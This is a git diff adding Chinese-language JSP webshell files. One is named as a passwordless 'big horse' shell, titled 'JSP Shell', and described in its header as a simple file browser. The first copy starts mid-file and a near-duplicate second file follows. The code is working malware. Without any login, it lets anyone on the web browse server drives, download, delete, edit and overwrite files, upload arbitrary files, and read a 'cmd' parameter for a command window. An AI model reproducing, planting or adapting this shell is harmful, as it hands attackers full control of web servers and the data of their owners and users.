{"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } +if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                            \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                            "); + sbEdit.append(""); + sbEdit.append("
                            "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                            \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                            "); + sbCopy.append("目标文件:

                            "); + sbCopy.append(" "); + sbCopy.append("

                             \r\n"); + sbCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                            目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                            目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

                            "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                            "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                            建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

                            建立文件或目录出错。"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JSP Shell 岁月联盟专用版本 + + + + + +

                            + + + + + + +
                            + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                            - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                            "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
                            + + + + + + + + + +
                            +

                            +
                            www.SYUE.com ,All Rights Reserved. +
                            Any question, please email me admin@syue.com diff --git "a/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" new file mode 100644 index 0000000..404e7b9 --- /dev/null +++ "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" @@ -0,0 +1,993 @@ +<% +/** +JFolder V0.9 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能较弱。 + +@Bugs : 下载时,中文文件名无法正常显示 +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 +String strThisFile="JFolder.jsp"; +String[] authorInfo={" 岁月联盟-专用版 "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } +if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                            \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                            "); + sbEdit.append(""); + sbEdit.append("
                            "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                            \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                            "); + sbCopy.append("目标文件:

                            "); + sbCopy.append(" "); + sbCopy.append("

                             \r\n"); + sbCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                            目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                            目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

                            "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                            "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                            "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                            建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

